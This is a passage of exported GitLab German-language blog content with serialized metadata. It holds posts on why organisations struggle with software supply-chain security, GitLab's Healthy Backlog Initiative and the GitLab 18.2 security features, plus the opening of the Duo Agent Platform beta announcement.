Laufzeitumgebungen  \n* **Tool-Sicherheit:** Härtung der Entwicklungstools und Plattformen selbst\n\nDie \"Kette\" in Supply Chain Security bezieht sich auf diese miteinander verbundene Reihe von Schritten. Eine Schwachstelle an irgendeiner Stelle in der Kette kann den gesamten Software-Lieferprozess kompromittieren.\n\nDer [SolarWinds-Angriff von 2020](https://www.cisa.gov/news-events/news/joint-statement-federal-bureau-investigation-fbi-cybersecurity-and-infrastructure-security) veranschaulicht dies perfekt. In einem der größten Supply-Chain-Angriffe der Geschichte kompromittierten staatlich geförderte Angreifer die Build-Pipeline von SolarWinds' Orion-Netzwerkverwaltungssoftware. Anstatt eine anfällige Abhängigkeit auszunutzen oder die fertige Anwendung zu hacken, injizierten sie bösartigen Code während des Kompilierungsprozesses selbst.\n\nDas Ergebnis war verheerend: Mehr als 18.000 Organisationen, einschließlich mehrerer US-Regierungsbehörden, installierten unwissentlich Software mit Hintertüren durch normale Updates. Der Quellcode war sauber, die fertige Anwendung erschien legitim. Doch der Build-Prozess war kompromittiert worden. Dieser Angriff blieb monatelang unentdeckt und zeigte, wie Supply-Chain-Schwachstellen traditionelle Sicherheitsmaßnahmen umgehen können.\n\n### Häufige Missverständnisse, die Organisationen verwundbar machen\n\nTrotz des wachsenden Bewusstseins für Supply-Chain-Bedrohungen bleiben viele Organisationen anfällig, weil sie grundlegenden Missverständnissen über Software-Supply-Chain-Sicherheit unterliegen. Diese Missverständnisse schaffen gefährliche Sicherheitslücken:\n\n* Denken, dass Software Supply Chain Security gleich Abhängigkeitsscanning ist  \n* Sich nur auf Open-Source-Komponenten konzentrieren und proprietäre Code-Risiken ignorieren  \n* Glauben, dass Code-Signierung allein ausreichenden Schutz bietet  \n* Annehmen, dass sichere Codierungspraktiken Supply-Chain-Risiken eliminieren  \n* Es als Problem des Sicherheitsteams behandeln statt als Herausforderung des Entwicklungsworkflows\n\n![Software Supply Chain Security Abhängigkeitsdiagramm](https://res.cloudinary.com/about-gitlab-com/image/upload/v1753200077/kqndvlxyvncshdiq0xea.png)\n\n## Wie KI das Spiel verändert\n\nWährend Organisationen noch mit traditionellen Herausforderungen der Software-Supply-Chain-Sicherheit kämpfen, führt künstliche Intelligenz (KI) völlig neue Angriffsvektoren ein und verstärkt bestehende auf beispiellose Weise.\n\n### KI-gestützte Angriffe: Ausgefeilter, skalierbarer\n\nAngreifer nutzen KI, um die Schwachstellenentdeckung zu automatisieren, überzeugende Social-Engineering-Angriffe gegen Entwickler zu generieren und öffentliche Codebasen systematisch auf Schwächen zu analysieren. Was früher manuelle Arbeit erforderte, lässt sich jetzt in großem Maßstab durchführen – mit Präzision.\n\n### Die KI-Entwicklungs-Supply-Chain führt neue Risiken ein\n\nKI gestaltet den gesamten Entwicklungslebenszyklus neu, führt aber auch erhebliche Sicherheitslücken ein:\n\n* **Modell-Supply-Chain-Angriffe:** Vortrainierte Modelle von Quellen wie Hugging Face oder GitHub können Hintertüren oder vergiftete Trainingsdaten enthalten.  \n* **Unsicherer KI-generierter Code:** Entwickler(innen), die KI-Coding-Assistenten verwenden, könnten unwissentlich verwundbare Muster oder unsichere Abhängigkeiten einführen.  \n* **Kompromittierte KI-Toolchains:** Die Infrastruktur zum Trainieren, Bereitstellen und Verwalten von KI-Modellen schafft eine neue Angriffsoberfläche.  \n* **Automatisierte Aufklärung:** KI ermöglicht es Angreifern, ganze Ökosysteme zu scannen, um hochwertige Supply-Chain-Ziele zu identifizieren.  \n* **Schatten-KI und nicht genehmigte Tools:** Entwickler(innen) könnten externe KI-Tools integrieren, die nicht überprüft wurden.\n\nDas Ergebnis? KI führt nicht nur neue Schwachstellen ein, sie verstärkt auch das Ausmaß und die Auswirkungen bestehender Schwachstellen. Organisationen können sich nicht länger auf schrittweise Verbesserungen verlassen. Die Bedrohungslandschaft entwickelt sich schneller, als sich aktuelle Sicherheitspraktiken anpassen können.\n\n![KI-Verstärkungseffekt](https://res.cloudinary.com/about-gitlab-com/image/upload/v1753200139/xuxezxld6ztlvjocgjlx.png)\n\n## Warum die meisten Organisationen immer noch kämpfen\n\nSelbst Organisationen, die Supply-Chain-Sicherheit verstehen, scheitern oft daran, effektiv zu handeln. Die Statistiken zeigen ein beunruhigendes Muster: Bewusstsein ohne entsprechende Verhaltensänderung.\n\nAls [Colonial Pipeline 2021 Hackern 4,4 Millionen Dollar zahlte](https://www.cnn.com/2021/05/19/politics/colonial-pipeline-ransom/index.html), um den Betrieb wiederherzustellen, oder als 18.000 Organisationen dem SolarWinds-Angriff zum Opfer fielen, war die Botschaft klar: Supply-Chain-Schwachstellen können kritische Infrastruktur lahmlegen und sensible Daten in beispiellosem Ausmaß kompromittieren.\n\nDennoch machen die meisten Organisationen trotz dieses Bewusstseins weiter wie gewohnt. Die eigentliche Frage ist nicht, ob sich Organisationen um Supply-Chain-Sicherheit sorgen – sondern warum sich diese Sorge nicht in effektiven Schutz umsetzt.\n\nDie Antwort liegt in vier kritischen Barrieren, die effektives Handeln verhindern:\n\n**1. Die falsche Sparsamkeitsmentalität**\n\nOrganisationen konzentrieren sich manchmal auf die Kosten, anstatt zu fragen: \"Was ist der effektivste Ansatz?\" Dieses kostenorientierte Denken schafft teure Folgeprobleme.\n\n**2. Die Realität des Fachkräftemangels**\n\nMit [durchschnittlich 4 Sicherheitsfachleuten pro 100 Entwickler(innen)](https://codific.com/bsimm-building-security-in-maturity-model-a-complete-guide/) laut BSIMM-Forschung und [90% der Organisationen, die kritische Cybersicherheits-Qualifikationslücken melden](https://www.isc2.org/Insights/2024/09/Employers-Must-Act-Cybersecurity-Workforce-Growth-Stalls-as-Skills-Gaps-Widen) laut ISC2, sind traditionelle Ansätze mathematisch unmöglich zu skalieren.\n\n**3. Fehlausgerichtete organisatorische Anreize**\n\nEntwickler-OKRs konzentrieren sich auf Feature-Geschwindigkeit, während Sicherheitsteams andere Ergebnisse messen. Wenn die Prioritäten der Geschäftsleitung die Markteinführungsgeschwindigkeit über die Sicherheitslage stellen, wird Reibung unvermeidlich.\n\n**4. Tool-Komplexitätsüberlastung**\n\nDas [durchschnittliche Unternehmen nutzt 45 Cybersicherheitstools](https://www.gartner.com/en/newsroom/press-releases/2025-03-03-gartner-identifiesthe-top-cybersecurity-trends-for-2025), wobei [40% der Sicherheitswarnungen Fehlalarme sind](https://www.ponemon.org/news-updates/blog/security/new-ponemon-study-on-malware-detection-prevention-released.html) und muss [durchschnittlich 19 Tools für jeden Vorfall koordinieren](https://newsroom.ibm.com/2020-06-30-IBM-Study-Security-Response-Planning-on-the-Rise-But-Containing-Attacks-Remains-an-Issue).\n\nDiese Barrieren schaffen einen Teufelskreis: Organisationen erkennen die Bedrohung, investieren in Sicherheitslösungen, setzen sie aber so um, dass sie nicht die gewünschten Ergebnisse erzielen.\n\n## Der wahre Preis der Supply-Chain-Unsicherheit\n\nSupply-Chain-Angriffe schaffen Risiken und Kosten, die weit über die anfängliche Behebung hinausgehen. Das Verständnis dieser versteckten Multiplikatoren hilft zu erklären, warum Prävention nicht nur vorzuziehen ist – sie ist essentiell für die Geschäftskontinuität.\n\n**Zeit wird zum Feind**\n\n* Durchschnittliche Zeit zur Identifizierung und Eindämmung einer Supply-Chain-Verletzung: [277 Tage](https://keepnetlabs.com/blog/171-cyber-security-statistics-2024-s-updated-trends-and-data)  \n* Zeitraum zum Wiederaufbau des Kundenvertrauens: [2-3+ Jahre](https://www.bcg.com/publications/2024/rebuilding-corporate-trust)   \n* Entwicklungsstunden, die von der Produktentwicklung zur Sicherheitsbehebung umgeleitet werden\n\n**Reputationsschäden summieren sich** \n\nWenn Angreifer deine Supply Chain kompromittieren, stehlen sie nicht nur Daten – sie untergraben das Fundament des Kundenvertrauens. [Kundenabwanderungsraten steigen typischerweise um 33% nach einem Verstoß](https://www.metacompliance.com/blog/data-breaches/5-damaging-consequences-of-a-data-breach), während Partnerbeziehungen kostspielige Rezertifizierungsprozesse erfordern. Die Wettbewerbsposition leidet, da Interessenten Alternativen wählen, die als \"sicherer\" wahrgenommen werden.\n\n**Die regulatorische Realität schlägt zu** \n\nDie Regulierungslandschaft hat sich grundlegend verändert. [DSGVO-Strafen betragen jetzt durchschnittlich über 50 Millionen Dollar für erhebliche Datenverstöße](https://www.skillcast.com/blog/20-biggest-gdpr-fines). Der neue [Cyber Resilience Act](https://about.gitlab.com/blog/gitlab-supports-banks-in-navigating-regulatory-challenges/#european-cyber-resilience-act-(cra)) der EU verlangt Supply-Chain-Transparenz. US-Bundesauftragnehmer müssen Software-Stücklisten ([SBOMs](https://about.gitlab.com/blog/the-ultimate-guide-to-sboms/)) für alle Softwarekäufe bereitstellen – eine Anforderung, die sich schnell auf die Beschaffung im privaten Sektor ausbreitet.\n\n**Betriebsstörungen multiplizieren sich** \n\nÜber die direkten Kosten hinaus schaffen Supply-Chain-Angriffe betriebliches Chaos: Plattformausfälle während der Angriffsbehebung, Notfall-Sicherheitsaudits über ganze Technologie-Stacks und Rechtskosten aus Kundenklagen und behördlichen Untersuchungen.\n\n## Was an aktuellen Ansätzen falsch ist\n\nDie meisten Organisationen verwechseln Sicherheitsaktivität mit Sicherheitswirkung. Sie setzen Scanner ein, generieren lange Berichte und jagen Teams durch manuelle Nachfassaktionen hinterher. Aber diese Bemühungen gehen oft nach hinten los – und schaffen mehr Probleme, als sie lösen.\n\n### Massives Scannen vs. effektiver Schutz\n\nUnternehmen generieren über [10.000 Sicherheitswarnungen pro Monat, wobei die aktivsten etwa 150.000 Ereignisse pro Tag generieren.](https://www.securityweek.com/enterprises-generate-10000-security-events-day-average-report/) [Aber 63%](https://panther.com/blog/identifying-and-mitigating-false-positive-alerts) davon sind Fehlalarme oder unwichtiges Rauschen. Sicherheitsteams sind überfordert und werden zu Engpässen statt zu Befähigern.\n\n### Der Zusammenbruch der Zusammenarbeit\n\nDie sichersten Organisationen haben nicht die meisten Tools; sie haben die stärkste DevSecOps-Zusammenarbeit. Aber die meisten aktuellen Setups machen dies schwieriger, indem sie Workflows über inkompatible Tools aufteilen, Entwicklern keine Sicherheitsergebnisse in ihrer Umgebung zeigen und keine gemeinsame Sichtbarkeit auf Risiko und geschäftliche Auswirkungen bieten.\n\n## Der Weg nach vorn\n\nDas Verständnis dieser Herausforderungen ist der erste Schritt zum Aufbau effektiver Supply-Chain-Sicherheit. Die Organisationen, die erfolgreich sind, fügen nicht nur mehr Sicherheitstools hinzu, sie überdenken grundlegend, wie Sicherheit in Entwicklungsworkflows integriert wird. Sie überprüfen auch End-to-End-Software-Lieferworkflows, um Prozesse zu vereinfachen, Tools zu reduzieren und die Zusammenarbeit zu verbessern.\n\nBei GitLab haben wir gesehen, wie integrierte DevSecOps-Plattformen diese Herausforderungen angehen können, indem sie Sicherheit direkt in den Entwicklungsworkflow bringen. In unserem nächsten Artikel dieser Serie werden wir untersuchen, wie führende Organisationen ihren Ansatz zur Supply-Chain-Sicherheit durch entwicklerfreundliche Lösungen, KI-gestützte Automatisierung und Plattformen transformieren, die Sicherheit zu einem natürlichen Teil der Entwicklung großartiger Software machen.\n\n> Erfahre mehr über [GitLabs Software Supply Chain Security-Funktionen](https://about.gitlab.com/de-de/solutions/supply-chain/).",[765,680,767],{"featured":6,"template":682,"slug":1137},"software-supply-chain-security-guide-why-organizations-struggle","content:de-de:blog:software-supply-chain-security-guide-why-organizations-struggle.yml","Software Supply Chain Security Guide Why Organizations Struggle","de-de/blog/software-supply-chain-security-guide-why-organizations-struggle.yml","de-de/blog/software-supply-chain-security-guide-why-organizations-struggle",{"_path":1143,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1144,"content":1147,"config":1156,"_id":1158,"_type":16,"title":1159,"_source":17,"_file":1160,"_stem":1161,"_extension":20},"/de-de/blog/inside-gitlabs-healthy-backlog-initiative",{"noIndex":6,"title":1145,"description":1146,"ogTitle":1145,"ogDescription":1146},"So optimiert GitLab das Issue-Management für mehr Innovation","GitLab reduziert 65.000 Issues auf das Wesentliche. Erfahre, wie die Healthy Backlog Initiative schnellere Entwicklung und klarere Roadmaps ermöglicht.",{"title":1148,"description":1149,"authors":1150,"heroImage":1152,"date":1153,"body":1154,"category":847,"tags":1155},"Hinter den Kulissen von GitLabs Healthy Backlog Initiative","Wie GitLab 65.000 Issues in strategische Features, schnelle Entwicklung und direkte Community-Kommunikation verwandelt.",[1151],"Stan Hu","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664458/Blog/Hero%20Images/Gartner_AI_Code_Assistants_Blog_Post_Cover_Image_1800x945.png","2025-07-23","Bei GitLab pflegen wir eine starke Partnerschaft mit unserer Community und ermutigen jeden zur aktiven Mitarbeit. Diese Beiträge haben die GitLab-Plattform über Jahre hinweg gestärkt. Doch mit unserem Wachstum stieg auch die Anzahl der Community-Issues - bis hin zu einem schwer handhabbaren Backlog von über 65.000 Einträgen.\n\nDie Produkt- und Engineering-Teams von GitLab haben kürzlich die [Healthy Backlog Initiative](https://gitlab.com/groups/gitlab-org/-/epics/18639) gestartet, um dieses Backlog anzugehen und unseren Ansatz für die Verwaltung beigetragener Issues in Zukunft zu verfeinern.\n\nIssues mit laufendem Community-Engagement, aktueller Aktivität oder klarer strategischer Ausrichtung bleiben offen. Wir werden Issues schließen, die nicht mehr relevant sind, kein Community-Interesse haben oder nicht mehr zu unserer aktuellen Produktausrichtung passen.\n\nDieser Fokus wird zu mehr Innovation, besserer Erwartungshaltung und schnelleren Entwicklungs- und Bereitstellungszyklen von der Community beigetragenen Funktionen führen.\n\n## Die Healthy Backlog Initiative: 65.000 Issues strategisch reduzieren\n\nIm Laufe der Zeit hat die GitLab-Community zahlreiche Issues eingereicht, darunter Bugs, Feature-Anfragen und Feedback-Elemente. Derzeit enthält der zentrale [GitLab-Issue-Tracker](https://gitlab.com/gitlab-org/gitlab/-/issues) über 65.000 Issues, von denen einige heute nicht mehr relevant sind, andere hingegen schon.\n\nUnsere Healthy Backlog Initiative wird das Backlog bereinigen und einen Arbeitsstrom für unsere Produkt- und Engineering-Teams etablieren, um einen fokussierteren Ansatz zur Backlog-Verwaltung umzusetzen. Sie werden wöchentliche Bewertungen des Backlogs durchführen, um sicherzustellen, dass wir Issues priorisieren, die mit unserer Produktstrategie und Roadmap übereinstimmen.\n\n**Hinweis:** Wenn du der Meinung bist, dass ein geschlossenes Issue mit GitLabs Produktstrategie und Roadmap übereinstimmt, oder wenn du aktiv an der Anfrage arbeitest, ermutigen wir dich, das Issue mit aktualisiertem Kontext und aktuellen Details zu kommentieren. Wir verpflichten uns, diese aktualisierten Issues im Rahmen unserer regelmäßigen Bewertungen zu überprüfen.\n\n## Die Vorteile: Fokussierte Entwicklung und klarere Roadmaps\n\nDieser optimierte Ansatz bedeutet direkte, greifbare Verbesserungen für alle GitLab-Nutzer:\n\n* **Schärferer Fokus und schnellere Bereitstellung:** Durch die Eingrenzung unseres Backlogs auf strategisch ausgerichtete Funktionen können wir Entwicklungskapazitäten gezielter nutzen. Das bedeutet, dass du kürzere Entwicklungszyklen und spürbare Verbesserungen in GitLab erwarten kannst.\n* **Klarere Erwartungen:** Wir verpflichten uns zu transparenter Kommunikation darüber, was auf unserer Roadmap steht und was nicht, damit du fundierte Entscheidungen über deine Workflows treffen kannst.\n* **Beschleunigte Feedback-Schleifen:** Mit einem sauberen Backlog werden neue Feedbacks und Feature-Anfragen effizienter überprüft und priorisiert. Das verkürzt die Triage-Zeit und stellt sicher, dass zeitkritische Issues die notwendige Aufmerksamkeit erhalten. Dies schafft schnelleres Feedback für alle.\n\nDiese Initiative mindert nicht die Bedeutung von Community-Feedback und -Beiträgen. Wir ergreifen diese Maßnahme, um Klarheit darüber zu schaffen, was GitLab-Teammitglieder realistisch liefern können, und um sicherzustellen, dass alle Rückmeldungen angemessen berücksichtigt werden.\n\n## GitLabs Commitment: Transparente Prioritäten für die Community\n\nDie GitLab Healthy Backlog Initiative spiegelt unseren Anspruch wider, transparente und effektive Verwalter der GitLab-Plattform zu sein. Indem wir unsere Prioritäten klar kommunizieren und unsere Bemühungen auf das konzentrieren, was wir realistisch im nächsten Jahr erreichen können, sind wir besser positioniert, deine Erwartungen zu erfüllen und zu übertreffen.\n\nDeine kontinuierliche Teilnahme und dein Feedback helfen dabei, GitLab stärker zu machen. Jeder Kommentar, jede Merge Request, jeder Bug-Report und jeder Feature-Vorschlag trägt zu unserer gemeinsamen Vision bei. Und wir belohnen dich auch weiterhin dafür, mit Initiativen wie unserem monatlichen Notable Contributor-Programm, Swag-Belohnungen für Level-Ups, Hackathon-Gewinnern und mehr, alles verfügbar über unser [Contributor-Portal](https://contributors.gitlab.com).\n\n> Um mehr darüber zu erfahren, wie du zu GitLab beitragen kannst, [besuche unsere Community-Seite](https://about.gitlab.com/community/). Um Feedback zu diesem Projekt zu teilen, füge bitte deine Kommentare zum [Feedback-Issue](https://gitlab.com/gitlab-org/gitlab/-/issues/556865) in diesem [Epic](https://gitlab.com/groups/gitlab-org/-/epics/18639) hinzu.",[270,680,723],{"featured":92,"template":682,"slug":1157},"inside-gitlabs-healthy-backlog-initiative","content:de-de:blog:inside-gitlabs-healthy-backlog-initiative.yml","Inside Gitlabs Healthy Backlog Initiative","de-de/blog/inside-gitlabs-healthy-backlog-initiative.yml","de-de/blog/inside-gitlabs-healthy-backlog-initiative",{"_path":1163,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1164,"content":1167,"config":1176,"_id":1178,"_type":16,"title":1179,"_source":17,"_file":1180,"_stem":1181,"_extension":20},"/de-de/blog/bridging-the-visibility-gap-in-software-supply-chain-security",{"noIndex":6,"title":1165,"description":1166},"GitLab 18.2: Lücken in der Software Supply Chain Security schließen","Umfassende Scanner-Abdeckung und Visualisierung transitiver Abhängigkeiten. Security Inventory & Dependency Path für vollständige Transparenz. Jetzt testen!",{"title":1168,"description":1169,"authors":1170,"heroImage":1172,"date":1173,"body":1174,"category":765,"tags":1175},"Die Sichtbarkeitslücke in der Software Supply Chain Security schließen","GitLab 18.2 bietet Unterstützung für umfassende Scanner-Abdeckung und Visualisierung transitiver Abhängigkeiten.",[1171],"Salman Ladha","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749661926/Blog/Hero%20Images/security-patch-blog-image-r2-0506-700x400-fy25_2x.jpg","2025-07-21","Unser neuestes Release, [GitLab 18.2](https://about.gitlab.com/de-de/releases/2025/07/17/gitlab-18-2-released/), führt zwei neue Funktionen zur Verbesserung der Software Supply Chain Security ein: Security Inventory und Dependency Path-Visualisierung.\nSecurity Inventory bietet Application Security Teams eine zentrale, portfolioweite Übersicht über Risiken und Scan-Abdeckung über alle GitLab-Gruppen und -Projekte hinweg. So können sie blinde Flecken identifizieren und Maßnahmen zur Risikominderung priorisieren. Die Dependency Path-Visualisierung zeigt Entwickler(inne)n klar auf, wie Open-Source-Schwachstellen durch die Abhängigkeitskette eingeführt werden, was es einfacher macht, die richtige Lösung zu finden.\nGemeinsam helfen diese Funktionen Sicherheits- und Entwicklungsteams dabei, sicherere Anwendungen zu erstellen, indem sie Transparenz darüber schaffen, wo Risiken bestehen, Kontext zur Behebung liefern und Workflows bereitstellen, die die Zusammenarbeit unterstützen. Im Gegensatz zu anderen Lösungen geschieht all das in derselben Plattform, die Entwickler(innen) zum Erstellen, Überprüfen und Bereitstellen von Software verwenden – ohne den zusätzlichen Integrationsaufwand.\n\n## Open Source erweitert die Angriffsfläche\n\nModerne Anwendungen verlassen sich [stark](https://about.gitlab.com/de-de/developer-survey/) auf Open-Source-Software. Open Source bringt jedoch ein erhebliches Sicherheitsrisiko mit sich – Komponenten können veraltet, nicht mehr gewartet oder unwissentlich anfällig sein. Deshalb ist die Software Composition Analysis (SCA) zu einem Eckpfeiler moderner AppSec-Programme geworden.\nEine zentrale Herausforderung im Schwachstellen-Management ist die effektive Verwaltung des *Risikos transitiver Abhängigkeiten*. Diese Komponenten sind oft tief in der Abhängigkeitskette vergraben. Daher ist es schwierig nachzuvollziehen, wie eine Schwachstelle eingeführt wurde. Ebenso schwer ist es zu bestimmen, was aktualisiert werden muss. Noch schlimmer: Sie machen fast [zwei Drittel](https://arxiv.org/abs/2503.22134?) der bekannten Open-Source-Schwachstellen aus. Ohne klare Sicht auf den gesamten Abhängigkeitspfad sind Teams auf Vermutungen angewiesen, was die Behebung verzögert und das Risiko erhöht.\n\n> Transitive Abhängigkeiten sind Pakete, die deine Anwendung indirekt verwendet. Sie werden automatisch von den direkten Abhängigkeiten eingezogen, die du explizit einbindest. Diese verschachtelten Abhängigkeiten können Schwachstellen einführen, ohne dass der/die Entwickler(in) jemals weiß, dass sie im Projekt vorhanden sind.\n> Diese Herausforderung wird exponentiell schwieriger bei großem Umfang. Sicherheitsteams verwalten oft Hunderte oder Tausende von Repositories. Jedes Repository hat eigene Abhängigkeiten, Build-Pipelines und Verantwortliche. In diesem Umfang wird selbst die Beantwortung grundlegender Sicherheitsfragen zur Herausforderung. Und in einer Zeit wachsender Software Supply Chain-Bedrohungen, in der sich Schwachstellen über geteilte Bibliotheken und CI/CD-Konfigurationen systemübergreifend ausbreiten können, haben diese blinden Flecken noch gravierendere Folgen.\n\n## Security Inventory: Skalierbare Transparenz\n\nSecurity Inventory konsolidiert Risikoinformationen aller Gruppen und Projekte in einer einheitlichen Ansicht. Es zeigt auf, welche Assets durch Sicherheitsscans abgedeckt sind und welche nicht. Anstatt Probleme isoliert zu verwalten, können Sicherheitsteams die Lage ganzheitlich bewerten. So identifizieren sie schnell, wo sie ihre Bemühungen fokussieren sollten.\nDiese zentrale Übersicht ist besonders wichtig für Organisationen mit vielen Repositories. Plattform- und AppSec-Teams verstehen sofort, wo Risiken existieren. Das System hebt ungescannte oder unzureichend geschützte Projekte hervor.\nAußerdem können Teams direkt aus der Oberfläche heraus handeln und über das bloße Bewusstsein hinausgehen. Mit vollem Kontext verstehen sie, welche Anwendungen das größte Risiko darstellen. Security Inventory wandelt fragmentierte Einblicke in eine zentrale Informationsquelle um. So können Organisationen von reaktiver Problem-Triage zu strategischer, datengesteuerter Sicherheits-Governance wechseln.\n![Security Inventory-Anzeige](https://res.cloudinary.com/about-gitlab-com/image/upload/v1753101068/qhujktnbkhl2rzgqfead.png)\nErfahre mehr, indem du dir Security Inventory in Aktion ansiehst:\n\n\u003C!-- blank line --> \u003Cfigure class=\"video_container\"> \u003Ciframe src=\"https://www.youtube.com/embed/yqo6aJLS9Fw?si=CtYmsF-PLN1UKt83\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe> \u003C/figure> \u003C!-- blank line -->\n\n> **Von 18 auf 3 Monate: So beschleunigt die Deutsche Telekom ihre Releases mit GitLab** 13.000 Entwickler(innen) arbeiten effizienter zusammen und bringen Produkte 6x schneller auf den Markt – erfahre, wie GitLab Ultimate die DevSecOps-Transformation vorantreibt, Silos aufbricht und Sicherheit in den Entwicklungsprozess bringt. [Erfolgsstory lesen](https://about.gitlab.com/de-de/customers/deutsche-telekom/)\n\n## Dependency Path-Visualisierung: Klarheit für effektive Behebung\n\nSecurity Inventory zeigt auf hoher Ebene, wo die Risiken liegen; die Dependency Path-Visualisierung zeigt, wie man sie behebt.\nWenn eine Schwachstelle tief in einer Abhängigkeitskette entdeckt wird, kann die Identifizierung der richtigen Lösung kompliziert sein. Die meisten Sicherheitstools heben das betroffene Paket hervor, erklären aber nicht, wie es in die Codebasis gelangt ist. Entwickler(innen) müssen raten, welche Abhängigkeiten direkt eingeführt werden und welche transitiv eingezogen werden, was es schwierig macht zu bestimmen, wo eine Änderung erforderlich ist – oder schlimmer noch: Patches anzuwenden, die die Grundursache nicht beheben.\nUnsere neue Dependency Path-Visualisierung zeigt nach einem SCA-Scan den vollständigen Weg auf: vom Top-Level-Paket zur anfälligen Komponente. Diese wird manchmal auch als Abhängigkeitsgraph bezeichnet. Diese Klarheit ist unerlässlich. Denn tief eingebettete Schwachstellen sind in Abhängigkeitsketten weit verbreitet. Die Funktion ist direkt in den GitLab-Workflow integriert. Dadurch erhalten Entwickler(innen) umsetzbare Einblicke ohne Kontextwechsel oder Rätselraten. Sicherheitsteams können Probleme effektiver priorisieren. Gleichzeitig haben Entwickler(innen) die Gewissheit, dass ihre Behebungen die Grundursachen angehen.\n![Dependency Path-Visualisierung](https://res.cloudinary.com/about-gitlab-com/image/upload/v1753101069/kf5ym62gylm5ck6iebjk.png)\n\n## Entwicklerorientierte Sicherheit: Risiken strategisch mindern\n\nDiese Funktionen sind Teil von GitLabs umfassenderer Strategie: Sicherheit innerhalb derselben Plattform bereitzustellen, in der Code geplant, erstellt und bereitgestellt wird. GitLab bettet Sicherheitseinblicke direkt in den DevSecOps-Workflow ein. Das reduziert Reibung und fördert die Zusammenarbeit zwischen Entwicklungs- und Sicherheitsteams.\nSecurity Inventory und Dependency Path-Visualisierung bieten komplementäre Perspektiven: Security Inventory ermöglicht skalierungsbewusste Überwachung, Dependency Path unterstützt präzise Korrekturen. Diese Kombination hilft Teams, das Wichtigste zu priorisieren und Lücken zu schließen. Und das ohne neue Tools oder komplexe Integrationen.\n\n> Starte noch heute mit Security Inventory und Dependency Path-Visualisierung! Melde dich für eine [kostenlose Testversion von GitLab Ultimate](https://about.gitlab.com/de-de/free-trial/) an.\n\n## Weiterlesen\n\n* [GitLab 18.2 veröffentlicht](https://about.gitlab.com/de-de/releases/2025/07/17/gitlab-18-2-released/)\n* [GitLab-Sicherheitslösungen](https://about.gitlab.com/de-de/solutions/security-compliance/)\n* [Ein Leitfaden zu Bedrohungsvektoren in der Software Supply Chain](https://about.gitlab.com/de-de/the-source/security/field-guide-to-threat-vectors-in-the-software-supply-chain/)",[765,745,680],{"featured":6,"template":682,"slug":1177},"bridging-the-visibility-gap-in-software-supply-chain-security","content:de-de:blog:bridging-the-visibility-gap-in-software-supply-chain-security.yml","Bridging The Visibility Gap In Software Supply Chain Security","de-de/blog/bridging-the-visibility-gap-in-software-supply-chain-security.yml","de-de/blog/bridging-the-visibility-gap-in-software-supply-chain-security",{"_path":1183,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1184,"content":1187,"config":1194,"_id":1196,"_type":16,"title":1197,"_source":17,"_file":1198,"_stem":1199,"_extension":20},"/de-de/blog/gitlab-duo-agent-platform-public-beta",{"noIndex":6,"title":1185,"description":1186,"ogTitle":1185},"GitLab Duo Agent Platform jetzt in Public Beta","Entwicklerteams und KI-Agenten arbeiten erstmals Hand in Hand – parallel, intelligent, orchestriert.",{"tags":1188,"category":677,"date":1189,"heroImage":1190,"authors":1191,"description":1186,"title":1192,"body":1193},[679,680,745,723],"2025-07-17","https://res.cloudinary.com/about-gitlab-com/image/upload/v1752678395/impw8no5tbskr6k2afgu.jpg",[740],"GitLab Duo Agent Platform jetzt in Public Beta: KI-Orchestrierung der nächsten Generation","**Das ist die Zukunft der Software-Entwicklung.**\n\nBei GitLab [gestalten wir die Zukunft der Software-Entwicklung neu](https://about.gitlab.com/de-de/blog/gitlab-duo-agent-platform-what-is-next-for-intelligent-devsecops/) als Zusammenarbeit zwischen Menschen und KI. Entwickler(innen) konzentrieren sich auf die Lösung technischer, komplexer Probleme und treiben Innovationen voran, während KI-Agenten die routinemäßigen, sich wiederholenden Aufgaben übernehmen, die den Fortschritt verlangsamen. Entwickler(innen) sind frei, neue Ideen im Code zu deutlich geringeren Kosten zu erkunden, Bug-Backlogs gehören der Vergangenheit an, und die Nutzer(innen) der von dir erstellten Software genießen eine benutzerfreundlichere, zuverlässigere und sicherere Erfahrung. Das ist kein ferner Traum. Wir bauen diese Realität schon heute. Sie heißt GitLab Duo Agent Platform.\n\n## Was ist GitLab Duo Agent Platform?\n\nGitLab Duo Agent Platform ist unsere DevSecOps-Orchestrierungsplattform der nächsten Generation, welche entwickelt wurde, um die asynchrone Zusammenarbeit zwischen Entwickler(innen) und KI-Agenten zu ermöglichen. Sie wird deinen Entwicklungsworkflow von isolierten linearen Prozessen in eine dynamische Zusammenarbeit verwandeln, bei der spezialisierte KI-Agenten in jeder Phase des Software-Entwicklungslebenszyklus an deiner Seite und mit deinem Team arbeiten. Es wird so sein, als hättest du ein unbegrenztes Team von Kolleg(inn)en zur Verfügung.\n\nStell dir vor, du delegierst eine komplexe Refaktorierungsaufgabe an einen Software-Entwickler-Agenten, während gleichzeitig ein Sicherheitsanalyse-Agent nach Schwachstellen sucht und ein Deep-Research-Agent den Fortschritt über deine Repository-Historie hinweg analysiert. All dies geschieht parallel, nahtlos orchestriert innerhalb von GitLab.\n\nHeute kündigen wir die Einführung der [ersten Public Beta von GitLab Duo Agent Platform](https://about.gitlab.com/de-de/gitlab-duo/agent-platform/) für GitLab.com und selbstverwaltete GitLab Premium- und Ultimate-Kund(inn)en an. Dies ist nur die erste einer Reihe von Updates, die verbessern werden, wie Software geplant, erstellt, verifiziert und bereitgestellt wird, während wir menschlichen Einfallsreichtum durch intelligente Automatisierung verstärken.\n\nDiese erste Beta konzentriert sich auf die Freischaltung der IDE-Erfahrung über die GitLab VS Code-Erweiterung und das JetBrains IDEs-Plugin; nächsten Monat planen wir, die Duo Agent Platform-Erfahrung in die GitLab-Anwendung zu bringen und unsere IDE-Unterstützung zu erweitern. \n\nLass mich ein wenig mehr über unsere Vision für die Roadmap von heute bis zur allgemeinen Verfügbarkeit, die für später in diesem Jahr geplant ist, berichten. Details zur ersten Beta findest du unten.\n\nSchau dir dieses Video an oder lies weiter, um zu erfahren, was jetzt verfügbar ist und was demnächst kommen wird. Wenn du dann bereit bist, mit Duo Agent Platform zu arbeiten, [erfährst du hier, wie das mit der Public Beta geht](#get-started-now).\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1101993507?title=0&byline=0&portrait=0&badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" 